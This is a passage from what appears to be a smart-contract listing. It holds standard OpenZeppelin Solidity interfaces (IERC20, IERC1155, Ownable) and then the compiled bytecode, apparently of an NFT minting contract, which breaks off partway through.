address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x60806040526004361061025c5760003560e01c80638da5cb5b11610144578063b2ad9a4a116100b6578063d3dd5fe01161007a578063d3dd5fe01461089e578063d5fde6b8146108b5578063e4335cf2146108e0578063e985e9c51461090b578063f2fde38b14610948578063f7ea7a3d146109715761025c565b8063b2ad9a4a146107c8578063b7dc3b18146107f1578063b88d4fde1461080d578063bee6348a14610836578063c87b56dd146108615761025c565b80639b8362a8116101085780639b8362a8146106ce5780639c816955146106f7578063a035b1fe14610720578063a22cb4651461074b578063aef6ee1f14610774578063affed0e01461079d5761025c565b80638da5cb5b146105e957806391b7f5ed1461061457806392e7108d1461063d57806395d89b41146106665780639b19251a146106915761025c565b806334393743116101dd5780636352211e116101a15780636352211e146104c757806364db3627146105045780636970bb0a1461052f57806370a082311461056c578063715018a6146105a9578063810ff0b7146105c05761025c565b8063343937431461042b5780633ccfd60b146104425780633ffb94c61461045957806342842e0e1461048257806349c32217146104ab5761025c565b80630eef353d116102245780630eef353d1461035857806318160ddd1461038357806323b872dd146103ae57806324bbd049146103d757806330176e13146104025761025c565b806301ffc9a714610261578063050225ea1461029e57806306fdde03146102c7578063081812fc146102f2578063095ea7b31461032f575b600080fd5b34801561026d57600080fd5b506102886004803603810190610283919061395e565b61099a565b60405161029591906141b5565b60405180910390f35b3480156102aa57600080fd5b506102c560048036038101906102c091906138a4565b610a7c565b005b3480156102d357600080fd5b506102dc610b06565b6040516102e991906141eb565b60405180910390f35b3480156102fe57600080fd5b5061031960048036038101906103149190613a05565b610b98565b60405161032691906140cc565b60405180910390f35b34801561033b57600080fd5b50610356600480360381019061035191906138a4565b610c1d565b005b34801561036457600080fd5b5061036d610d35565b60405161037a919061456d565b60405180910390f35b34801561038f57600080fd5b50610398610d3b565b6040516103a5919061456d565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d0919061378e565b610d41565b005b3480156103e357600080fd5b506103ec610da1565b6040516103f991906141b5565b60405180910390f35b34801561040e57600080fd5b50610429600480360381019061042491906139b8565b610db4565b005b34801561043757600080fd5b50610440610e46565b005b34801561044e57600080fd5b50610457610eee565b005b34801561046557600080fd5b50610480600480360381019061047b9190613a05565b611199565b005b34801561048e57600080fd5b506104a960048036038101906104a4919061378e565b61121f565b005b6104c560048036038101906104c09190613a05565b61123f565b005b3480156104d357600080fd5b506104ee60048036038101906104e99190613a05565b61137c565b6040516104fb91906140cc565b60405180910390f35b34801561051057600080fd5b5061051961142e565b604051610526919061456d565b60405180910390f35b34801561053b57600080fd5b5061055660048036038101906105519190613721565b611434565b6040516105639190614193565b60405180910390f35b34801561057857600080fd5b50610593600480360381019061058e9190613721565b6114cb565b6040516105a0919061456d565b60405180910390f35b3480156105b557600080fd5b506105be611583565b005b3480156105cc57600080fd5b506105e760048036038101906105e291906139b8565b61160b565b005b3480156105f557600080fd5b506105fe61169d565b60405161060b91906140cc565b60405180910390f35b34801561062057600080fd5b5061063b60048036038101906106369190613a05565b6116c7565b005b34801561064957600080fd5b50610664600480360381019061065f9190613721565b61174d565b005b34801561067257600080fd5b5061067b61180d565b60405161068891906141eb565b60405180910390f35b34801561069d57600080fd5b506106b860048036038101906106b39190613721565b61189f565b6040516106c591906141b5565b60405180910390f35b3480156106da57600080fd5b506106f560048036038101906106f09190613a05565b6118bf565b005b34801561070357600080fd5b5061071e600480360381019061071991906138e4565b611c82565b005b34801561072c57600080fd5b50610735611da3565b604051610742919061456d565b60405180910390f35b34801561075757600080fd5b50610772600480360381019061076d9190613864565b611da9565b005b34801561078057600080fd5b5061079b600480360381019061079691906138e4565b611f2a565b005b3480156107a957600080fd5b506107b261204b565b6040516107bf919061456d565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea9190613a05565b612051565b005b61080b60048036038101906108069190613a5f565b6120d7565b005b34801561081957600080fd5b50610834600480360381019061082f91906137e1565b6121f3565b005b34801561084257600080fd5b5061084b612255565b60405161085891906141b5565b60405180910390f35b34801561086d57600080fd5b5061088860048036038101906108839190613a05565b612268565b60405161089591906141eb565b60405180910390f35b3480156108aa57600080fd5b506108b361230f565b005b3480156108c157600080fd5b506108ca6123b7565b6040516108d7919061456d565b60405180910390f35b3480156108ec57600080fd5b506108f56123bd565b60405161090291906141d0565b60405180910390f35b34801561091757600080fd5b50610932600480360381019061092d919061374e565b6123e3565b60405161093f91906141b5565b60405180910390f35b34801561095457600080fd5b5061096f600480360381019061096a9190613721565b612477565b005b34801561097d57600080fd5b5061099860048036038101906109939190613a05565b61256f565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a6557507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a755750610a74826125f5565b5b9050919050565b610a8461265f565b73ffffffffffffffffffffffffffffffffffffffff16610aa261169d565b73ffffffffffffffffffffffffffffffffffffffff1614610af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aef9061444d565b60405180910390fd5b610b028282612667565b5050565b606060008054610b1590614869565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190614869565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b6000610ba382612700565b610be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd99061442d565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610c288261137c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c90906144ad565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610cb861265f565b73ffffffffffffffffffffffffffffffffffffffff161480610ce75750610ce681610ce161265f565b6123e3565b5b610d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1d906143ad565b60405180910390fd5b610d30838361276c565b505050565b60115481565b60095481565b610d52610d4c61265f565b82612825565b610d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d889061450d565b60405180910390fd5b610d9c838383612903565b505050565b600b60009054906101000a900460ff1681565b610dbc61265f565b73ffffffffffffffffffffffffffffffffffffffff16610dda61169d565b73ffffffffffffffffffffffffffffffffffffffff1614610e30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e279061444d565b60405180910390fd5b818160079190610e419291906134cf565b505050565b610e4e61265f565b73ffffffffffffffffffffffffffffffffffffffff16610e6c61169d565b73ffffffffffffffffffffffffffffffffffffffff1614610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb99061444d565b60405180910390fd5b600b60019054906101000a900460ff1615600b60016101000a81548160ff021916908315150217905550565b610ef661265f565b73ffffffffffffffffffffffffffffffffffffffff16610f1461169d565b73ffffffffffffffffffffffffffffffffffffffff1614610f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f619061444d565b60405180910390fd5b600047905073ed8fe1bb60036855895812e627b82161f4c5529e73ffffffffffffffffffffffffffffffffffffffff166108fc6064602384610fac9190614701565b610fb691906146d0565b9081150290604051600060405180830381858888f19350505050158015610fe1573d6000803e3d6000fd5b5073f99f2df8fb2b8b873cfbd316296ba82ff55e03db73ffffffffffffffffffffffffffffffffffffffff166108fc606460238461101f9190614701565b61102991906146d0565b9081150290604051600060405180830381858888f19350505050158015611054573d6000803e3d6000fd5b50733e4c18eb3a9115510d4dbf0c9cce015c6cacec5173ffffffffffffffffffffffffffffffffffffffff166108fc6064600a846110929190614701565b61109c91906146d0565b9081150290604051600060405180830381858888f193505050501580156110c7573d6000803e3d6000fd5b50730e1297f9014d0456492311884a0145ff0568808d73ffffffffffffffffffffffffffffffffffffffff166108fc6064600a846111059190614701565b61110f91906146d0565b9081150290604051600060405180830381858888f1935050505015801561113a573d6000803e3d6000fd5b5073dfee4a9d467170a99d3dc34dfb6c041c4c80373273ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611195573d6000803e3d6000fd5b5050565b6111a161265f565b73ffffffffffffffffffffffffffffffffffffffff166111bf61169d565b73ffffffffffffffffffffffffffffffffffffffff1614611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c9061444d565b60405180910390fd5b8060118190555050565b61123a838383604051806020016040528060008152506121f3565b505050565b600b60019054906101000a900460ff1661128e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112859061428d565b60405180910390fd5b600d600061129a61265f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611321576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113189061454d565b60405180910390fd5b8060085461132f9190614701565b3414611370576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611367906142cd565b60405180910390fd5b61137981612b5f565b50565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611425576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141c906143ed565b60405180910390fd5b80915050919050565b60105481565b6060600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156114bf57602002820191906000526020600020905b8154815260200190600101908083116114ab575b50505050509050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611533906143cd565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61158b61265f565b73ffffffffffffffffffffffffffffffffffffffff166115a961169d565b73ffffffffffffffffffffffffffffffffffffffff16146115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f69061444d565b60405180910390fd5b6116096000612bb6565b565b61161361265f565b73ffffffffffffffffffffffffffffffffffffffff1661163161169d565b73ffffffffffffffffffffffffffffffffffffffff1614611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e9061444d565b60405180910390fd5b8181601291906116989291906134cf565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6116cf61265f565b73ffffffffffffffffffffffffffffffffffffffff166116ed61169d565b73ffffffffffffffffffffffffffffffffffffffff1614611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a9061444d565b60405180910390fd5b8060088190555050565b61175561265f565b73ffffffffffffffffffffffffffffffffffffffff1661177361169d565b73ffffffffffffffffffffffffffffffffffffffff16146117c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c09061444d565b60405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606001805461181c90614869565b80601f016020809104026020016040519081016040528092919081815260200182805461184890614869565b80156118955780601f1061186a57610100808354040283529160200191611895565b820191906000526020600020905b81548152906001019060200180831161187857829003601f168201915b5050505050905090565b600d6020528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900460ff16806118e65750600b60019054906101000a900460ff165b611925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191c9061438d565b60405180910390fd5b601154816119339190614701565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a0823161197961265f565b6040518263ffffffff1660e01b815260040161199591906140cc565b60206040518083038186803b1580156119ad57600080fd5b505afa1580156119c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e59190613a32565b1015611a26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1d906144ed565b60405180910390fd5b60115481611a349190614701565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e611a7a61265f565b306040518363ffffffff1660e01b8152600401611a989291906140e7565b60206040518083038186803b158015611ab057600080fd5b505afa158015611ac4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ae89190613a32565b1015611b29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b209061436d565b60405180910390fd5b600f5460105482611b3a919061467a565b1115611b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b729061434d565b60405180910390fd5b8060106000828254611b8d919061467a565b92505081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd611bda61265f565b733e4c18eb3a9115510d4dbf0c9cce015c6cacec5160115485611bfd9190614701565b6040518463ffffffff1660e01b8152600401611c1b93929190614110565b602060405180830381600087803b158015611c3557600080fd5b505af1158015611c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6d9190613931565b50611c7f611c7961265f565b82612667565b50565b611c8a61265f565b73ffffffffffffffffffffffffffffffffffffffff16611ca861169d565b73ffffffffffffffffffffffffffffffffffffffff1614611cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf59061444d565b60405180910390fd5b60005b82829050811015611d9e576000600d6000858585818110611d2557611d246149d3565b5b9050602002016020810190611d3a9190613721565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d96906148cc565b915050611d01565b505050565b60085481565b611db161265f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e169061430d565b60405180910390fd5b8060056000611e2c61265f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611ed961265f565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611f1e91906141b5565b60405180910390a35050565b611f3261265f565b73ffffffffffffffffffffffffffffffffffffffff16611f5061169d565b73ffffffffffffffffffffffffffffffffffffffff1614611fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9d9061444d565b60405180910390fd5b60005b82829050811015612046576001600d6000858585818110611fcd57611fcc6149d3565b5b9050602002016020810190611fe29190613721565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061203e906148cc565b915050611fa9565b505050565b600a5481565b61205961265f565b73ffffffffffffffffffffffffffffffffffffffff1661207761169d565b73ffffffffffffffffffffffffffffffffffffffff16146120cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c49061444d565b60405180910390fd5b80600f8190555050565b600b60009054906101000a900460ff16612126576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211d9061420d565b60405180910390fd5b826008546121349190614701565b341015612176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216d906142cd565b60405180910390fd5b60126040516121859190614091565b6040518091039020828260405161219d929190614078565b6040518091039020146121e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121dc9061452d565b60405180910390fd5b6121ee83612b5f565b505050565b6122046121fe61265f565b83612825565b612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a9061450d565b60405180910390fd5b61224f84848484612c7c565b50505050565b600b60019054906101000a900460ff1681565b606061227382612700565b6122b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a99061448d565b60405180910390fd5b60006122bc612cd8565b905060008151116122dc5760405180602001604052806000815250612307565b806122e684612d6a565b6040516020016122f79291906140a8565b6040516020818303038152906040525b915050919050565b61231761265f565b73ffffffffffffffffffffffffffffffffffffffff1661233561169d565b73ffffffffffffffffffffffffffffffffffffffff161461238b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123829061444d565b60405180910390fd5b600b60009054906101000a900460ff1615600b60006101000a81548160ff021916908315150217905550565b600f5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61247f61265f565b73ffffffffffffffffffffffffffffffffffffffff1661249d61169d565b73ffffffffffffffffffffffffffffffffffffffff16146124f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ea9061444d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255a9061424d565b60405180910390fd5b61256c81612bb6565b50565b61257761265f565b73ffffffffffffffffffffffffffffffffffffffff1661259561169d565b73ffffffffffffffffffffffffffffffffffffffff16146125eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e29061444d565b60405180910390fd5b8060098190555050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600954600a5482612678919061467a565b11156126b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b0906144cd565b60405180910390fd5b60005b818110156126fb57600a60008154809291906126d7906148cc565b91905055506126e883600a54612ecb565b80806126f3906148cc565b9150506126bc565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166127df8361137c565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061283082612700565b61286f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128669061432d565b60405180910390fd5b600061287a8361137c565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806128e957508373ffffffffffffffffffffffffffffffffffffffff166128d184610b98565b73ffffffffffffffffffffffffffffffffffffffff16145b806128fa57506128f981856123e3565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166129238261137c565b73ffffffffffffffffffffffffffffffffffffffff1614612979576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129709061446d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e0906142ed565b60405180910390fd5b6129f4838383612ee9565b6129ff60008261276c565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a4f919061475b565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612aa6919061467a565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008111612ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b99906142ad565b60405180910390fd5b612bb3612bad61265f565b82612667565b50565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612c87848484612903565b612c93848484846130fc565b612cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc99061422d565b60405180910390fd5b50505050565b606060078054612ce790614869565b80601f0160208091040260200160405190810160405280929190818152602001828054612d1390614869565b8015612d605780601f10612d3557610100808354040283529160200191612d60565b820191906000526020600020905b815481529060010190602001808311612d4357829003601f168201915b5050505050905090565b60606000821415612db2576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612ec6565b600082905060005b60008214612de4578080612dcd906148cc565b915050600a82612ddd91906146d0565b9150612dba565b60008167ffffffffffffffff811115612e0057612dff614a02565b5b6040519080825280601f01601f191660200182016040528015612e325781602001600182028036833780820191505090505b5090505b60008514612ebf57600182612e4b919061475b565b9150600a85612e5a9190614915565b6030612e66919061467a565b60f81b818381518110612e7c57612e7b6149d3565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612eb891906146d0565b9450612e36565b8093505050505b919050565b612ee5828260405180602001604052806000815250613293565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461305c576000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015612fa857602002820191906000526020600020905b815481526020019060010190808311612f94575b5050505050905060005b81518110156130595782828281518110612fcf57612fce6149d3565b5b6020026020010151141561304657633b9ac9ff600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613033576130326149d3565b5b9060005260206000200181905550613059565b8080613051906148cc565b915050612fb2565b50505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146130f757600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190806001815401808255809150506001900390600052602060002001600090919091909150555b505050565b600061311d8473ffffffffffffffffffffffffffffffffffffffff166132ee565b15613286578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261314661265f565b8786866040518563ffffffff1660e01b81526004016131689493929190614147565b602060405180830381600087803b15801561318257600080fd5b505af19250505080156131b357506040513d601f19601f820116820180604052508101906131b0919061398b565b60015b613236573d80600081146131e3576040519150601f19603f3d011682016040523d82523d6000602084013e6131e8565b606091505b5060008151141561322e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132259061422d565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061328b565b600190505b949350505050565b61329d8383613301565b6132aa60008484846130fc565b6132e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132e09061422d565b60405180910390fd5b505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613371576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133689061440d565b60405180910390fd5b61337a81612700565b156133ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133b19061426d565b60405180910390fd5b6133c660008383612ee9565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613416919061467a565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffff